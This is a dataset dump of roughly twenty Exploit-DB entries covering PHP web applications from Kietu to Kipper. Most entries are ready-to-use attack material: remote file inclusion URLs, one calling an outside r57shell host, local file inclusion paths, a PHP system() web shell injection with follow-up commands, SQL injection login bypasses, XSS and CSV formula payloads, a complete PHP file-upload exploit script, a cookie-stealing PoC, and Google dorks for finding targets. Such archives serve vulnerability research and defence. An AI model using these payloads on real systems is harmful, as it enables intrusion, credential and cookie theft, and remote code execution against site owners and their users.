deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2438
Description: Kietu? < 4.0.0b2 - 'hit.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-26
Author: D_7J

Exploit:
#==============================================================================================
#Kietu? <= v4.0.0b2z (url_hit) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Download from : http://www.comscripts.com/jump.php?action=script&id=958
#                                                                      
#Version : 4.0.0b2                                            
#                                                        
#================================================================================================
#
#Dork : "Kieto?"
#
#================================================================================================
#Bug in : hit.php
#
#Vlu Code :
#--------------------------------
#
# 	include_once $url_hit.'class/kdetect.class.php';
#
#	example:http://www.kietu.net/files/kietuv4/hit.php?url_hit=http://d4wood.by.ru/r57shell.php?
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/hit.php?url_hit=http://sheller.com?
#
#================================================================================================
#Discoverd By : D_7J
#
#Conatact : D_7J[at]yahoo[dot]com & D_7J[at]Deltahacking[dot]net
#
#Special Thx To : Str0ke
#Greetz:DeltahackingSecurityTEAM,Ashiyane,IHS,Simorgh,Shabgard,ICH,
==================================================================================================

# milw0rm.com [2006-09-26]
Exploit-DB #30235
Description: KikChat - Local File Inclusion / Remote Code Execution
Type: webapps
Platform: php
Date: 2013-12-12
Author: cr4wl3r

Exploit:
# KikChat <= (LFI/RCE) Multiple Vulnerability
# By cr4wl3r http://bastardlabs.info
# Script : http://petitvincent.perso.free.fr/Webmastering/Script%20PHP%20HTML%20JAVASCRIPT/php%20scripts/kikchat.zip
# Tested : Windows / Linux
# Dork   : download script
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnable LFI [ private.php ]

http://127.0.0.1/KikChat/private.php?name=../../../../../../../../../../[file]
http://127.0.0.1/KikChat/private.php?name=../../../../../../../../../../boot.ini
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnable RCE [ /rooms/get.php ]:

http://127.0.0.1/KikChat/rooms/get.php?name=shell.php&ROOM=<?php system($cmd); ?>
http://127.0.0.1/KikChat/myroom/shell.php?cmd=whoami;id;uname -a;pwd;ls -al
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

makase banyak :

tau lo bentor to hulandalo
tamongodula'a wau tamohutata, dulo ito momongulipu


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
p.s 
malandingalo wa'u sebenarnya mohutu sploitz
bo sekedar koleksi saja :D
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


// gorontalo 2013
Exploit-DB #21912
Description: Killer Protection 1.0 - Information Disclosure
Type: webapps
Platform: php
Date: 2002-10-07
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/5905/info

The Killer Protection PHP script is prone to an information-disclosure issue. Reportedly, unauthorized users can access sensitive user data by requesting the 'vars.inc' file in a malicious HTTP request.

Exploiting this issue may allow attackers to access sensitive usernames and passwords, which could be used in future attacks.


http://[target]/vars.inc

and

http://[target]/protection.php?mode=display&username=[LOGIN]&password=[PASSWORD]
Exploit-DB #11354
Description: Killmonster 2.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-02-07
Author: cr4wl3r

Exploit:
[+] Killmonster <= 2.1 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered by cr4wl3r <cr4wl3r[!]linuxmail.org>
[+] Download : http://scripts.ringsworld.com/games-and-entertainment/km2/


[+] Vuln Code : 

[login.php]

<form method="POST" action="authenticate.php">
Type Username Here: <input type="text" name="isadmin" size="15"><br>
Type Password Here: <input type="password" name="password" size="15" mask="x"><br>
<input type="submit" value="submit" name="submit">

[authenticate.php]

    $isadmin=$_POST['isadmin'];
    $password=$_POST['password'];
    $password=md5($password);
    $query = "select * from km_admins where username='$isadmin' and [CREDENTIAL_REDACTED]'"; 
    $result = mysql_query($query) ;




[+] PoC : [Killmonster_path]/admin/login.php

username :  ' or' 1=1
password :  ' or' 1=1
Exploit-DB #6410
Description: Kim Websites 1.0 - 'FCKeditor' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-09-09
Author: Ciph3r

Exploit:
########################################################################
#
#                          S4rK3VT Hacking TEAM
#
# Title: KimWebsite (fckeditor) Remote Arbitrary File Upload
# Vendor: http://sourceforge.net/project/showfiles.php?group_id=196819
# discover by : Ciph3r
# We Are : Ciph3r & Rake
# Ciph3r_blackhat@yahoo.com
# Impact: Medium
# Fix: N/A
# Expl0ters Security TEAM ==>> www.Expl0iters.ir
########################################################################

####################
- Vulnerability:
####################

+--> Fckeditor Arbitrary File Upload

The problem is that it is possible to upload files to a location inside the web root "/userdata" via the

[path]/fck/editor/filemanager/upload/php/upload.php script.


####################
- Exploit:
####################

http://example.com/[path]/fck/editor/filemanager/upload/test.html

####################
- Solution:
####################

Restrict and grant only trusted users access to the resources.

####################
- GreTzZ :
####################

Iranian Hacker & Kurdish Security TEAM & My Mother

####################

# milw0rm.com [2008-09-09]
Exploit-DB #8209
Description: Kim Websites 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-03-13
Author: Virangar Security

Exploit:
           
    	     ###############################################################
             #                                                             #
             #     Kim Websites 1.0 SQL Injection Vulnerability            #
             #                [ Authentication bypass]              	   #
             ###############################################################
Virangar Security Team
www.virangar.net
--------
Discoverd By : Virangar Security Team(hadihadi)
special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra
& all virangar members & Aria_security team & all  hackerz
greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-----------------------------------
vuln code in login.php:
$username = $_POST['username'];
$password = md5($_POST['password']);
$query= "SELECT name,password FROM ".$prefix."_users WHERE name = '$username' AND [CREDENTIAL_REDACTED]' AND confirm = 1 AND date2 > FROM_UNIXTIME($now)";
 -----------------------
Exploit:
login:admin ' or 1=1/*
password:[blank]
-------------------------------------
Y0ung Ir4ni4n H4ck3rz

# milw0rm.com [2009-03-13]
Exploit-DB #49805
Description: Kimai 1.14 - CSV Injection
Type: webapps
Platform: php
Date: 2021-04-27
Author: Mohammed Aloraimi

Exploit:
# Exploit Title: Kimai 1.14 - CSV Injection
# Date: 26/04/2021
# Exploit Author: Mohammed Aloraimi
# Vendor Homepage: https://www.kimai.org/
# Software Link: https://github.com/kevinpapst/kimai2
# Version: 1.14 <https://github.com/kevinpapst/kimai2/releases/tag/1.14>
# Payload:  @SUM(1+9)*cmd|' /C calc'!A0
# Tested on: Win10x64
# Proof Of Concept:
CSV Injection (aka Excel Macro Injection or Formula Injection) exists in
creating new timesheet in Kimai. By filling the Description field with malicious
payload, it will be mistreated while exporting to a CSV file.

To exploit this vulnerability:
1- Login as user.
2- Create new timesheet.
3- Fill the description with the malicious payload.
4- Save the timesheet.
5- Export it via CSV.
6- Open the CSV file, allow all popups and our payload is executed(calculator is opened).
Exploit-DB #47286
Description: Kimai 2 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-08-19
Author: osamaalaa

Exploit:
# Exploit Title: Kimai 2- persistent cross-site scripting (XSS)
# Date: 07/15/2019
# Exploit Author: osamaalaa
# Vendor Homepage: [link]
# Software Link: https://github.com/kevinpapst/kimai2
# Fixed on Github : https://github.com/kevinpapst/kimai2/pull/962
# Version: 2

1-Normal user will try to add timesheet from this link http://localhost/index.php/en/timesheet/create

2-Add this payload "><svg/onload=alert('xss')> in the description

3-Save The changes

4-refresh and we have alert pop up!

The Request POC :

POST /index.php/en/timesheet/create HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 392
Connection: close
Referer: http://localhost
Cookie: PHPSESSID=auehoprhqk3qspncs5s08ucobv

timesheet_edit_form[begin]=2019-08-17 13:02&timesheet_edit_form[end]=2019-08-18 00:00&timesheet_edit_form[customer]=12&timesheet_edit_form[project]=24&timesheet_edit_form[activity]=27&timesheet_edit_form[description]= "><svg/onload=alert('xss')>&timesheet_edit_form[tags]=&timesheet_edit_form[_token]=19Owg2YgIMPFUcEP9NVibhqEpKwkwhVt5j-BTJysyK0
Exploit-DB #51278
Description: Kimai-1.30.10 - SameSite Cookie-Vulnerability session hijacking
Type: webapps
Platform: php
Date: 2023-04-06
Author: nu11secur1ty

Exploit:
## Exploit Title: Kimai-1.30.10 - SameSite Cookie-Vulnerability session hijacking
## Author: nu11secur1ty
## Date: 02.23.2023
## Vendor: https://www.kimai.org/
## Software: https://github.com/kimai/kimai/releases/tag/1.30.10
## Reference: https://www.thesslstore.com/blog/the-ultimate-guide-to-session-hijacking-aka-cookie-hijacking/
## Reference: https://portswigger.net/support/using-burp-to-hack-cookies-and-manipulate-sessions

## Description:
The Kimai-1.30.10 is vulnerable to
SameSite-Cookie-Vulnerability-session-hijacking.
The attacker can trick the victim to update or upgrade the system, by
using a very malicious exploit to steal his vulnerable cookie and get
control of his session.

STATUS: HIGH Vulnerability

[+]Exploit:
## WARNING: The EXPLOIT IS FOR ADVANCED USERS!
This is only one example:
```python
#!/usr/bin/python
import os
import webbrowser
import time

webbrowser.open('https://pwnedhost.com/kimai-1.30.10/public/en/login')
input("After you log in please press any key to continue...")
os.system("copy Update.php
C:\\xampp\\htdocs\\pwnedhost\\kimai-1.30.10\\public\\")
time.sleep(3)
webbrowser.open('https://pwnedhost.com/kimai-1.30.10/public/Update.php')
time.sleep(3)
os.system("copy
C:\\xampp\\htdocs\\pwnedhost\\kimai-1.30.10\\public\\PoC.txt
C:\\Users\\venvaropt\\Desktop\\Kimai-1.30.10\\PoC\\")
# Your mail-sending code must be here ;)
time.sleep(7)
os.system("del C:\\xampp\\htdocs\\pwnedhost\\kimai-1.30.10\\public\\PoC.txt")
os.system("del C:\\xampp\\htdocs\\pwnedhost\\kimai-1.30.10\\public\\Update.php")

```
-----------------------------------------
```PHP
<?php
//echo '<pre>';
//	print_r( $_COOKIE );
//die();

	$fp = fopen('PoC.txt', 'w');
	fwrite($fp, print_r($_COOKIE, TRUE));
	fclose($fp);
	echo "DONE: Now you are already updated! Enjoy your system Kimai
1.30.10 stable (Ayumi)";
?>
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/kimai/2023/Kimai-1.30.10)

## Proof and Exploit:
[href](https://streamable.com/md9fmr)

## Time spend:
03:00:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at
https://packetstormsecurity.com/https://cve.mitre.org/index.html and
https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #32589
Description: Kimson CMS - 'id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-11-18
Author: md.r00t

Exploit:
source: https://www.securityfocus.com/bid/32343/info

Kimson CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

<html><head></head><body>http://www.example.com/[patch]/bbs.track.php?id=<script>alert(/0/)</script></body></html>
Exploit-DB #11960
Description: KimsQ 040109 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2010-03-30
Author: mat

Exploit:
        \\\|///
      \\  - -  //
       (  @ @ )
----oOOo--(_)-oOOo--------------------------------------------------
KimsQ 040109 Multiple Remote File Include Vulnerability
Script: http://kimsq.googlecode.com/files/kimsq_v040109.zip
Author: mat
Mail: rahmat_punk@hotmail.com
---------------Ooooo------------------------------------------------
               (   )
      ooooO     ) /
      (   )    (_/
       \ (
        \_)

//------------------------------------------------------------------+

http://[target]/[path]/_sys/_ext/module/chat/default/q/user.php?path[home]=http://[shellscript]
http://[target]/[path]/_sys/_ext/module/contentsbox/default/admin/config.php?path[home]=http://[shellscript]
http://[target]/[path]/_sys/_ext/module/counter/default/admin/referer.php?path[module]=http://[shellscript]
http://[target]/[path]/_sys/_ext/module/mbrinfo/default/q/info.php?path[home]=http://[shellscript]
http://[target]/[path]/_sys/_ext/module/mbrinfo/default/q/log.php?path[module]=http://[shellscript]
http://[target]/[path]/_sys/_ext/module/minibox/default/q/q.gallery.php?path[module]=http://[shellscript]
http://[target]/[path]/_sys/_ext/module/minibox/default/q/q.profile.php?path[home]=http://[shellscript]
http://[target]/[path]/_sys/_ext/module/survey/default/_admin.php?path[module]=http://[shellscript]
http://[target]/[path]/_sys/_ext/skin/_skin/default_blog/comment.php?bbs[skin]=http://[shellscript]
http://[target]/[path]/_sys/_ext/skin/_skin/default_board/comment.php?bbs[skin]=http://[shellscript]
http://[target]/[path]/_sys/_ext/skin/_skin/default_gallery/comment.php?bbs[skin]=http://[shellscript]
http://[target]/[path]/_sys/_ext/skin/_skin/default_webzine/comment.php?bbs[skin]=http://[shellscript]

//------------------------------------------------------------------+

Google Dork: "kims Q - Administrator Login Mode"

Greetings: All Hackerz
Exploit-DB #37652
Description: KindEditor - 'name' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-23
Author: LiquidWorm

Exploit:
source: https://www.securityfocus.com/bid/55172/info

KindEditor is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

KindEditor versions 4.1.2 and 4.0.6 are vulnerable; other versions may also be affected. 

http://www.example.com/kindeditor/index.php?name=<pre><script>alert('XSS');</script>by ZSL!</pre>
Exploit-DB #38385
Description: KindEditor - Multiple Arbitrary File Upload Vulnerabilities
Type: webapps
Platform: php
Date: 2013-03-11
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/58431/info

KindEditor is prone to multiple remote file-upload vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Attackers can exploit these issues to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

KindEditor 4.1.5 is vulnerable; other versions may also be affected. 

<?php
 
$uploadfile="KedAns.txt";
$ch = curl_init("http://www.example.com/kindeditor/php/upload_json.php?dir=file");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
       array(&#039;imgFile&#039;=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
 
?>

# KindEditor (ASP,ASP.NET,JSP,PHP) _JSON Uploader :
--------------------------------------------------

<html><head>
<title>Uploader By KedAns-Dz</title>
<script src="http://www.example.com/kindeditor/kindeditor-min.js"></script>
<script>
KindEditor.ready(function(K) {
var uploadbutton = K.uploadbutton({
button : K(&#039;#uploadButton&#039;)[0],
fieldName : &#039;imgFile&#039;,
url : &#039;http://www.example.com/kindeditor/php/upload_json.asp?dir=file&#039;,
afterUpload : function(data) {
if (data.error === 0) {
var url = K.formatUrl(data.url, &#039;absolute&#039;);
K(&#039;#url&#039;).val(url);}
},
});
uploadbutton.fileBox.change(function(e) {
uploadbutton.submit();
});
});
</script></head><body>
<div class="upload">
<input class="ke-input-text" type="text" id="url" value="" readonly="readonly" />
<input type="button" id="uploadButton" value="Upload" />
</div>
</body>
</html>
Exploit-DB #34561
Description: KingCMS 0.6 - 'CONFIG[AdminPath]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-09-07
Author: Securitylab.ir

Exploit:
source: https://www.securityfocus.com/bid/42924/info

KingCMS is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

KingCMS 0.6.0 is vulnerable; other versions may be affected. 

http://www.example.com/[path]/include/engine/content/elements/block.php? CONFIG[AdminPath] =[SHELL]
Exploit-DB #9566
Description: KingCMS 0.6.0 - 'menu.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-09-01
Author: CoBRa_21

Exploit:
-------------------------------------------------------------------------------------
Kingcms v0.6.0 [menu.php] Remote File Inclusion Vulnerability
-------------------------------------------------------------------------------------
 
Author: CoBRa_21
 
Mail: uyku_cu[at]windowslive[dot]com
 
Script Download: http://sourceforge.net/projects/kingcms/
 
-------------------------------------------------------------------------------------
 
EXPLOÄ°T:
 
http://localhost/[PATH]/include/engine/content/elements/menu.php? CONFIG[AdminPath] =[SHELL]
 
-------------------------------------------------------------------------------------
BUG:

<?
require_once($CONFIG['AdminPath'] . "/include/engine/folder.php");  

# milw0rm.com [2009-09-01]
Exploit-DB #45237
Description: KingMedia 4.1 - File Upload
Type: webapps
Platform: php
Date: 2018-08-22
Author: Efrén Díaz

Exploit:
# Exploit Title: KingMedia 4.1 - Remote Code Execution
# Author: Efren Diaz
# Exploit Date: 2018-08-15
# Software: KingMedia
# Version: 1.x, 2.x, 3.x, 4.1
# Link: https://codecanyon.net/item/king-media-video-image-upload-and-share/7877877
# CVE: N/A 

<?php
// Author: Efren Diaz (elefr3n)
// https://twitter.com/elefr3n

echo "--------------------------------------------\n";
echo "KING MEDIA CMS ARBITRARY FILE UPLOAD EXPLOIT\n";
echo "--------------------------------------------\n";

if (!isset($argv[2]))
{
    echo "\nUsage: exploit.php <target> <file> <socks5>\n\n";
    echo "  -target: http://site.com/... (required)\n";
    echo "  -file: shell.php (required)\n";
    echo "  -socks5: 127.0.0.1:1337 (optional)\n\n";
} else {
    echo "\nUploading file...\n\n";

    $file = $argv[2];
    $target = $argv[1];

    $mimeType = image_type_to_mime_type(exif_imagetype($file));
    $cFile = curl_file_create($file, $mimeType, $file);

    $post = array(
        'ImageFile'=> $cFile
    );

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array("X-Requested-With: XMLHttpRequest"));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    if (isset($argv[3])) {
        curl_setopt($ch, CURLOPT_PROXY, isset($argv[3]));
        curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
    }
    $result=curl_exec($ch);

    preg_match_all('/src="(.*)" alt="Resized/i',$result,$uploaded_shell);

    if (isset($uploaded_shell[1][0])) {
        echo "PWNED ! :D \n\n{$uploaded_shell[1][0]}\n\n";
    } else {
        echo "Something was bad... str result:\n{$result}";
    }
    curl_close ($ch);
}
Exploit-DB #33001
Description: Kingsoft Webshield 1.1.0.62 - Cross-Site Scripting / Remote Command Execution
Type: webapps
Platform: php
Date: 2009-05-20
Author: inking

Exploit:
source: https://www.securityfocus.com/bid/35038/info

The Webshield feature of Kingsoft Internet Security 9 is prone to a remote cross-site scripting and command-execution vulnerability.

Remote attackers may exploit this vulnerability to compromise an affected computer.

This issue affects WebShield 1.1.0.62 and prior versions. 

http://www.example.com/index.php?html=%3c%70%20%73%74%79%6c%65%3d%22%62%61%63%6b%67%72%6f%75%6e%64%3a%75%72%6c%28%6a%61%76%61%73%63%72%69%70%74%3a%70%61%72%65%6e%74%2e%43%61%6c%6c%43%46%75%6e%63%28%27%65%78%65%63%27%2c%27%63%3a%5c%5c%77%69%6e%64%6f%77%73%5c%5c%73%79%73%74%65%6d%33%32%5c%5c%63%61%6c%63%2e%65%78%65%27%20%29%29%22%3e%74%65%73%74%3c%2f%70%3e
Exploit-DB #7993
Description: Kipper 2.01 - Cross-Site Scripting / Local File Inclusion / File Disclosure
Type: webapps
Platform: php
Date: 2009-02-05
Author: RoMaNcYxHaCkEr

Exploit:
# Kipper 2.01 Multiple Vulnes ( Remote Data Reading , Local File Include , Remote XSS )

# Download From : http://www.bookelves.com/kipper/files/kipper20.zip

- Found By : RoMaNcYxHaCkEr
- My Site : WwW.Sec-Code.CoM
- My Group : Security - Codes Group

# Exploit [1]:

- Remote Data Reading :

http://localhost/kipper20/job/config.data

# Exploit [2]:

- Local File Include :

http://localhost/kipper20/index.php?configfile=../../../../boot.ini

# Exploit [3]:

- Remote XSS :

http://localhost/kipper20/default.php?charm=%3E%20%3E%20ScRiPt%20%3EALERT%[PII_REDACTED]1633%20%3B%20%2FScRiPt%3E#[PII_REDACTED]94793444

# EOF ..

# rXh

# bEST wISHES

# milw0rm.com [2009-02-05]